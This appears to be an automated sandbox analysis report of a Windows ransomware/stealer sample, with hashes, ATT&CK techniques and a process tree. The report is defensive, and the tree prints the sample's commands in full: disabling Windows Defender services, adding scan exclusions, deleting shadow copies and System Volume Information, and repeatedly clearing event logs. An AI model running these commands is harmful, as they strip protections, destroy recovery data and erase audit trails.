ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 15:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Size 1.5MB
Sample260803-s567lsbf73
SHA256 ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705
MD5 1cc9b59964c70bcd40515c2ea4472d07
SHA1 f1f7d32c8538a5642d607633df94bcdc483dd5ee
SHA512 47af4e3d9564f1ae412b19d76db40096ea545db20d1cb6ddea6a5c639557a0b23bbb6e4c691d0f0a44189e17f47e68fc1ceb3fafa1283793767810a22fc9d941
SSDEEP 24576:goD4x3upiG+uD8wjTc6QZwFvzI8H6MvGmEfTQuFfTeUCI:goDsWihuDhTc6QZwFUG67mErQcq
TLSH
T13E757B43E69585EAC45EC0788357A632FA33B88E4630B6EF2BD45B313E66B905F0D705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery evasion execution impact ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe

Clears Windows event logs 1 TTPs 64 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
5740	wevtutil.exe
1220	wevtutil.exe
4204	wevtutil.exe
4240	wevtutil.exe
5212	wevtutil.exe
3380	wevtutil.exe
4296	wevtutil.exe
2596	wevtutil.exe
5880	wevtutil.exe
2116	wevtutil.exe
5924	wevtutil.exe
828	wevtutil.exe
912	wevtutil.exe
5560	wevtutil.exe
1636	wevtutil.exe
4740	wevtutil.exe
1472	wevtutil.exe
2344	wevtutil.exe
2384	wevtutil.exe
6088	wevtutil.exe
4732	wevtutil.exe
4144	wevtutil.exe
4688	wevtutil.exe
3800	wevtutil.exe
4868	wevtutil.exe
904	wevtutil.exe
1852	wevtutil.exe
4480	wevtutil.exe
5776	wevtutil.exe
1484	wevtutil.exe
1952	wevtutil.exe
5144	wevtutil.exe
720	wevtutil.exe
4496	wevtutil.exe
3060	wevtutil.exe
2884	wevtutil.exe
5164	wevtutil.exe
2676	wevtutil.exe
2792	wevtutil.exe
2572	wevtutil.exe
4164	wevtutil.exe
5380	wevtutil.exe
3328	wevtutil.exe
2328	wevtutil.exe
4148	wevtutil.exe
5848	wevtutil.exe
4384	wevtutil.exe
5620	wevtutil.exe
3956	wevtutil.exe
2768	wevtutil.exe
5096	wevtutil.exe
4476	wevtutil.exe
2200	wevtutil.exe
5484	wevtutil.exe
5764	wevtutil.exe
1456	wevtutil.exe
940	wevtutil.exe
3036	wevtutil.exe
1328	wevtutil.exe
1720	wevtutil.exe
2376	wevtutil.exe
4376	wevtutil.exe
6100	wevtutil.exe
3940	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4476	powershell.exe
4556	powershell.exe
2164	powershell.exe

Detect suspicious telegram bot 2 IoCs

Detect suspicious telegram bot.

resource	yara_rule
behavioral2/memory/2948-20-0x00007FF653F20000-0x00007FF6540AB000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/2948-43-0x00007FF653F20000-0x00007FF6540AB000-memory.dmp	suspicious_telegram_bot

Launches sc.exe 18 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1584	sc.exe
4704	sc.exe
6088	sc.exe
1552	sc.exe
5808	sc.exe
5980	sc.exe
4688	sc.exe
3800	sc.exe
5964	sc.exe
5448	sc.exe
4532	sc.exe
1108	sc.exe
5312	sc.exe
4144	sc.exe
3304	sc.exe
2320	sc.exe
5996	sc.exe
2824	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 43 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1364	cmd.exe
4556	cmd.exe
5020	cmd.exe
1744	cmd.exe
2828	cmd.exe
5416	cmd.exe
3544	cmd.exe
2476	cmd.exe
2524	cmd.exe
4384	cmd.exe
2836	cmd.exe
3400	cmd.exe
1760	cmd.exe
2088	cmd.exe
2812	cmd.exe
3880	cmd.exe
4528	cmd.exe
3556	cmd.exe
2496	cmd.exe
4632	cmd.exe
3992	cmd.exe
1352	cmd.exe
1516	cmd.exe
4328	cmd.exe
2392	cmd.exe
2096	cmd.exe
5048	cmd.exe
4116	cmd.exe
5176	cmd.exe
3724	cmd.exe
2024	cmd.exe
2456	cmd.exe
2384	cmd.exe
5892	cmd.exe
3380	cmd.exe
2964	cmd.exe
5592	cmd.exe
5576	cmd.exe
4212	cmd.exe
3944	cmd.exe
3668	cmd.exe
5784	cmd.exe
1312	cmd.exe

Delays execution with timeout.exe 8 IoCs

defense_evasion

pid	Process
4976	timeout.exe
3624	timeout.exe
4984	timeout.exe
4476	timeout.exe
252	timeout.exe
2808	timeout.exe
3112	timeout.exe
5880	timeout.exe

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5176	vssadmin.exe
5068	vssadmin.exe
1348	vssadmin.exe
1720	vssadmin.exe
3896	vssadmin.exe
4900	vssadmin.exe
1660	vssadmin.exe
3900	vssadmin.exe
3036	vssadmin.exe
2996	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4476	powershell.exe
4476	powershell.exe
4556	powershell.exe
4556	powershell.exe
2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
3272	WMIC.exe
3272	WMIC.exe
3272	WMIC.exe
3272	WMIC.exe
2164	powershell.exe
2164	powershell.exe
2164	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeIncreaseQuotaPrivilege	4476	powershell.exe
Token: SeSecurityPrivilege	4476	powershell.exe
Token: SeTakeOwnershipPrivilege	4476	powershell.exe
Token: SeLoadDriverPrivilege	4476	powershell.exe
Token: SeSystemProfilePrivilege	4476	powershell.exe
Token: SeSystemtimePrivilege	4476	powershell.exe
Token: SeProfSingleProcessPrivilege	4476	powershell.exe
Token: SeIncBasePriorityPrivilege	4476	powershell.exe
Token: SeCreatePagefilePrivilege	4476	powershell.exe
Token: SeBackupPrivilege	4476	powershell.exe
Token: SeRestorePrivilege	4476	powershell.exe
Token: SeShutdownPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeSystemEnvironmentPrivilege	4476	powershell.exe
Token: SeRemoteShutdownPrivilege	4476	powershell.exe
Token: SeUndockPrivilege	4476	powershell.exe
Token: SeManageVolumePrivilege	4476	powershell.exe
Token: 33	4476	powershell.exe
Token: 34	4476	powershell.exe
Token: 35	4476	powershell.exe
Token: 36	4476	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeIncreaseQuotaPrivilege	4556	powershell.exe
Token: SeSecurityPrivilege	4556	powershell.exe
Token: SeTakeOwnershipPrivilege	4556	powershell.exe
Token: SeLoadDriverPrivilege	4556	powershell.exe
Token: SeSystemProfilePrivilege	4556	powershell.exe
Token: SeSystemtimePrivilege	4556	powershell.exe
Token: SeProfSingleProcessPrivilege	4556	powershell.exe
Token: SeIncBasePriorityPrivilege	4556	powershell.exe
Token: SeCreatePagefilePrivilege	4556	powershell.exe
Token: SeBackupPrivilege	4556	powershell.exe
Token: SeRestorePrivilege	4556	powershell.exe
Token: SeShutdownPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeSystemEnvironmentPrivilege	4556	powershell.exe
Token: SeRemoteShutdownPrivilege	4556	powershell.exe
Token: SeUndockPrivilege	4556	powershell.exe
Token: SeManageVolumePrivilege	4556	powershell.exe
Token: 33	4556	powershell.exe
Token: 34	4556	powershell.exe
Token: 35	4556	powershell.exe
Token: 36	4556	powershell.exe
Token: SeBackupPrivilege	5756	vssvc.exe
Token: SeRestorePrivilege	5756	vssvc.exe
Token: SeAuditPrivilege	5756	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3272	WMIC.exe
Token: SeSecurityPrivilege	3272	WMIC.exe
Token: SeTakeOwnershipPrivilege	3272	WMIC.exe
Token: SeLoadDriverPrivilege	3272	WMIC.exe
Token: SeSystemProfilePrivilege	3272	WMIC.exe
Token: SeSystemtimePrivilege	3272	WMIC.exe
Token: SeProfSingleProcessPrivilege	3272	WMIC.exe
Token: SeIncBasePriorityPrivilege	3272	WMIC.exe
Token: SeCreatePagefilePrivilege	3272	WMIC.exe
Token: SeBackupPrivilege	3272	WMIC.exe
Token: SeRestorePrivilege	3272	WMIC.exe
Token: SeShutdownPrivilege	3272	WMIC.exe
Token: SeDebugPrivilege	3272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3272	WMIC.exe
Token: SeRemoteShutdownPrivilege	3272	WMIC.exe
Token: SeUndockPrivilege	3272	WMIC.exe
Token: SeManageVolumePrivilege	3272	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 4144	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	90
PID 2948 wrote to memory of 4688	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	91
PID 2948 wrote to memory of 1552	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	92
PID 2948 wrote to memory of 3800	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	93
PID 2948 wrote to memory of 5964	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	94
PID 2948 wrote to memory of 5808	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	95
PID 2948 wrote to memory of 2824	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	96
PID 2948 wrote to memory of 5980	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	97
PID 2948 wrote to memory of 4476	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	98
PID 2948 wrote to memory of 4556	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	100
PID 2948 wrote to memory of 2996	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	101
PID 2948 wrote to memory of 1352	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	104
PID 1352 wrote to memory of 5176	1352	cmd.exe	105
PID 2948 wrote to memory of 1364	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	106
PID 1364 wrote to memory of 3272	1364	cmd.exe	107
PID 2948 wrote to memory of 2164	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	109
PID 2948 wrote to memory of 5448	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	110
PID 2948 wrote to memory of 1584	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	111
PID 2948 wrote to memory of 3544	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	112
PID 2948 wrote to memory of 2344	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	114
PID 2948 wrote to memory of 2384	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	115
PID 2948 wrote to memory of 1720	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	116
PID 2948 wrote to memory of 3940	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	117
PID 2948 wrote to memory of 1220	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	118
PID 2948 wrote to memory of 904	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	119
PID 2948 wrote to memory of 6088	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	120
PID 2948 wrote to memory of 2328	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	121
PID 2948 wrote to memory of 2676	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	122
PID 2948 wrote to memory of 5212	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	123
PID 2948 wrote to memory of 3380	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	258
PID 2948 wrote to memory of 1660	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	261
PID 2948 wrote to memory of 940	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	126
PID 2948 wrote to memory of 912	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	127
PID 2948 wrote to memory of 5144	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	128
PID 2948 wrote to memory of 2792	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	129
PID 2948 wrote to memory of 5380	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	130
PID 2948 wrote to memory of 3956	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	131
PID 2948 wrote to memory of 4204	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	132
PID 2948 wrote to memory of 720	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	133
PID 2948 wrote to memory of 2572	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	134
PID 2948 wrote to memory of 5552	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	135
PID 2948 wrote to memory of 2200	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	136
PID 2948 wrote to memory of 2040	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	137
PID 2948 wrote to memory of 5484	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	270
PID 2948 wrote to memory of 5560	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	273
PID 2948 wrote to memory of 3036	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	268
PID 2948 wrote to memory of 2360	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	141
PID 2948 wrote to memory of 5848	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	142
PID 2948 wrote to memory of 4148	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	143
PID 2948 wrote to memory of 2376	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	144
PID 2948 wrote to memory of 4732	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	145
PID 2948 wrote to memory of 4496	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	146
PID 2948 wrote to memory of 1636	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	147
PID 2948 wrote to memory of 4384	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	278
PID 2948 wrote to memory of 1328	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	149
PID 2948 wrote to memory of 1640	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	280
PID 2948 wrote to memory of 3060	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	151
PID 2948 wrote to memory of 4296	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	152
PID 2948 wrote to memory of 4740	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	153
PID 2948 wrote to memory of 2768	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	285
PID 2948 wrote to memory of 5036	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	155
PID 2948 wrote to memory of 3328	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	156
PID 2948 wrote to memory of 2884	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	157
PID 2948 wrote to memory of 4376	2948	ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe	158

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe
"C:\Users\Admin\AppData\Local\Temp\ac605eeb0b633d1138be31f426699386115d632f09da4c21769504ab20f7e705.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\system32\sc.exe
  "sc" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4144
- C:\Windows\system32\sc.exe
  "sc" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4688
- C:\Windows\system32\sc.exe
  "sc" stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:1552
- C:\Windows\system32\sc.exe
  "sc" config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3800
- C:\Windows\system32\sc.exe
  "sc" stop Sense
  2⤵
  - Launches sc.exe
  PID:5964
- C:\Windows\system32\sc.exe
  "sc" config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:5808
- C:\Windows\system32\sc.exe
  "sc" stop WdBoot
  2⤵
  - Launches sc.exe
  PID:2824
- C:\Windows\system32\sc.exe
  "sc" config WdBoot start= disabled
  2⤵
  - Launches sc.exe
  PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionExtension \".exe\", \".dll\", \".scr\", \".pif\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\system32\vssadmin.exe
  "vssadmin" list shadows
  2⤵
  - Interacts with shadow copies
  PID:2996
- C:\Windows\system32\cmd.exe
  "cmd" /C "vssadmin delete shadows /shadow={97d459e8-0796-4acc-bef9-859ff4bb0bf2}"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /shadow={97d459e8-0796-4acc-bef9-859ff4bb0bf2}
    3⤵
    - Interacts with shadow copies
    PID:5176
- C:\Windows\system32\cmd.exe
  "cmd" /C "wmic shadowcopy delete"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command " Get-WmiObject -Class Win32_ShadowCopy | ForEach-Object { $_.Delete() } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2164
- C:\Windows\system32\sc.exe
  "sc" stop VSS
  2⤵
  - Launches sc.exe
  PID:5448
- C:\Windows\system32\sc.exe
  "sc" config VSS start= disabled
  2⤵
  - Launches sc.exe
  PID:1584
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\System Volume Information\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3544
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:2344
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:2384
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:1720
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:3940
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:1220
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:904
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:6088
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  PID:2328
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:2676
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:5212
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:3380
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  PID:1660
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:940
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:912
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:5144
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Application/Operational
  2⤵
  - Clears Windows event logs
  PID:2792
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:5380
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:3956
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:4204
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:720
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:2572
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  PID:5552
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  PID:2200
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  PID:2040
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:5484
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:5560
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:3036
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  PID:2360
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:5848
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:4148
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:2376
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4732
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-System/Operational
  2⤵
  - Clears Windows event logs
  PID:4496
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:1636
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4384
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:1328
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  PID:1640
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:3060
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:4296
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:4740
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  PID:2768
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  PID:5036
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:3328
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:2884
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:4376
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:5620
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  PID:1656
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4240
- C:\Windows\system32\wevtutil.exe
